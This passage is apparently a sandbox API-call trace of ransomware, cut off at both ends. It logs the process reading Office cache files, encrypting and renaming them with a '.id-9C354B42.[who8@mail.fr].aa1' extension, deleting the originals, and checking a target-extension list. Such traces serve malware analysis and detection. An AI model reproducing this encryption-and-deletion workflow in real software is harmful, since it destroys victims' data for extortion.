(hObject=0x208) returned 1 [0217.512] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.512] SetEndOfFile (hFile=0x178) returned 1 [0217.527] CloseHandle (hObject=0x178) returned 1 [0217.527] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0217.527] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0217.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.527] lstrlenW (lpString=".doc") returned 4 [0217.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.527] lstrlenW (lpString=".docx") returned 5 [0217.527] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.527] lstrlenW (lpString=".pdf") returned 4 [0217.527] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.527] lstrlenW (lpString=".xls") returned 4 [0217.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString=".xlsx") returned 5 [0217.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.528] lstrlenW (lpString=".ppt") returned 4 [0217.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString=".zip") returned 4 [0217.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString=".rar") returned 4 [0217.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString=".bz2") returned 4 [0217.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.528] lstrlenW (lpString=".7z") returned 3 [0217.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString=".dbf") returned 4 [0217.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString=".1cd") returned 4 [0217.528] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString=".jpg") returned 4 [0217.528] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.528] lstrlenW (lpString=".doc") returned 4 [0217.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.528] lstrlenW (lpString=".docx") returned 5 [0217.529] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.529] lstrlenW (lpString=".pdf") returned 4 [0217.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.529] lstrlenW (lpString=".xls") returned 4 [0217.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.529] lstrlenW (lpString=".xlsx") returned 5 [0217.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.529] lstrlenW (lpString=".ppt") returned 4 [0217.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.529] lstrlenW (lpString=".zip") returned 4 [0217.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.529] lstrlenW (lpString=".rar") returned 4 [0217.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.529] lstrlenW (lpString=".bz2") returned 4 [0217.529] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.529] lstrlenW (lpString=".7z") returned 3 [0217.529] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.529] lstrlenW (lpString=".dbf") returned 4 [0217.529] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.529] lstrlenW (lpString=".1cd") returned 4 [0217.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0217.529] lstrlenW (lpString=".jpg") returned 4 [0217.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.530] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0217.530] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0217.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0217.530] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=868864) returned 1 [0217.530] CloseHandle (hObject=0x178) returned 1 [0217.530] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0217.530] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0217.530] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.531] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0217.531] GetLastError () returned 0x0 [0217.531] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0218.412] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0218.427] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.428] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0218.428] SetEndOfFile (hFile=0x208) returned 1 [0218.428] CloseHandle (hObject=0x208) returned 1 [0218.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.428] SetEndOfFile (hFile=0x178) returned 1 [0218.515] CloseHandle (hObject=0x178) returned 1 [0218.515] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0218.515] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0218.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.515] lstrlenW (lpString=".doc") returned 4 [0218.515] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0218.515] lstrlenW (lpString=".docx") returned 5 [0218.515] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0218.515] lstrlenW (lpString=".pdf") returned 4 [0218.515] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0218.515] lstrlenW (lpString=".xls") returned 4 [0218.515] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0218.515] lstrlenW (lpString=".xlsx") returned 5 [0218.515] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0218.516] lstrlenW (lpString=".ppt") returned 4 [0218.516] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString=".zip") returned 4 [0218.516] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0218.516] lstrlenW (lpString=".rar") returned 4 [0218.516] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0218.516] lstrlenW (lpString=".bz2") returned 4 [0218.516] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0218.516] lstrlenW (lpString=".7z") returned 3 [0218.516] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString=".dbf") returned 4 [0218.516] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString=".1cd") returned 4 [0218.516] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString=".jpg") returned 4 [0218.516] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.516] lstrlenW (lpString=".doc") returned 4 [0218.516] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0218.516] lstrlenW (lpString=".docx") returned 5 [0218.516] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0218.516] lstrlenW (lpString=".pdf") returned 4 [0218.516] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0218.516] lstrlenW (lpString=".xls") returned 4 [0218.516] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0218.516] lstrlenW (lpString=".xlsx") returned 5 [0218.517] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0218.517] lstrlenW (lpString=".ppt") returned 4 [0218.517] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0218.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.517] lstrlenW (lpString=".zip") returned 4 [0218.517] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0218.517] lstrlenW (lpString=".rar") returned 4 [0218.517] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0218.517] lstrlenW (lpString=".bz2") returned 4 [0218.517] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0218.517] lstrlenW (lpString=".7z") returned 3 [0218.517] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0218.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.517] lstrlenW (lpString=".dbf") returned 4 [0218.517] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0218.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.517] lstrlenW (lpString=".1cd") returned 4 [0218.517] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0218.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0218.517] lstrlenW (lpString=".jpg") returned 4 [0218.517] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0218.517] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0218.517] lstrlenW (lpString="AccLR.cab") returned 9 [0218.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.522] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=28016276) returned 1 [0218.523] CloseHandle (hObject=0x1f4) returned 1 [0218.523] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0218.523] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.523] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0218.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.523] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0218.523] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.524] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.379] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.379] ReadFile (in: hFile=0x1f4, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.327] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.327] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.327] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.677] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.677] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0220.942] SetEndOfFile (hFile=0x1f4) returned 1 [0220.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0220.946] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0220.946] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.947] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0220.947] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.109] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.109] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0221.112] CloseHandle (hObject=0x1f4) returned 1 [0221.112] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.112] lstrlenW (lpString=".doc") returned 4 [0221.112] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0221.112] lstrlenW (lpString=".docx") returned 5 [0221.112] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0221.113] lstrlenW (lpString=".pdf") returned 4 [0221.113] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString=".xls") returned 4 [0221.113] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString=".xlsx") returned 5 [0221.113] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0221.113] lstrlenW (lpString=".ppt") returned 4 [0221.113] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.113] lstrlenW (lpString=".zip") returned 4 [0221.113] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString=".rar") returned 4 [0221.113] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString=".bz2") returned 4 [0221.113] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0221.113] lstrlenW (lpString=".7z") returned 3 [0221.113] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0221.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.113] lstrlenW (lpString=".dbf") returned 4 [0221.113] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.113] lstrlenW (lpString=".1cd") returned 4 [0221.113] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0221.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.113] lstrlenW (lpString=".jpg") returned 4 [0221.113] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0221.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.114] lstrlenW (lpString=".doc") returned 4 [0221.114] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString=".docx") returned 5 [0221.114] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0221.114] lstrlenW (lpString=".pdf") returned 4 [0221.114] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString=".xls") returned 4 [0221.114] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString=".xlsx") returned 5 [0221.114] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0221.114] lstrlenW (lpString=".ppt") returned 4 [0221.114] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.114] lstrlenW (lpString=".zip") returned 4 [0221.114] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString=".rar") returned 4 [0221.114] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString=".bz2") returned 4 [0221.114] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0221.114] lstrlenW (lpString=".7z") returned 3 [0221.114] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0221.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.114] lstrlenW (lpString=".dbf") returned 4 [0221.114] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0221.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.114] lstrlenW (lpString=".1cd") returned 4 [0221.114] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0221.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0221.115] lstrlenW (lpString=".jpg") returned 4 [0221.115] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0221.115] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0221.115] lstrlenW (lpString="PidGenX.dll") returned 11 [0221.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.115] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1463568) returned 1 [0221.115] CloseHandle (hObject=0x1f4) returned 1 [0221.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0221.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all 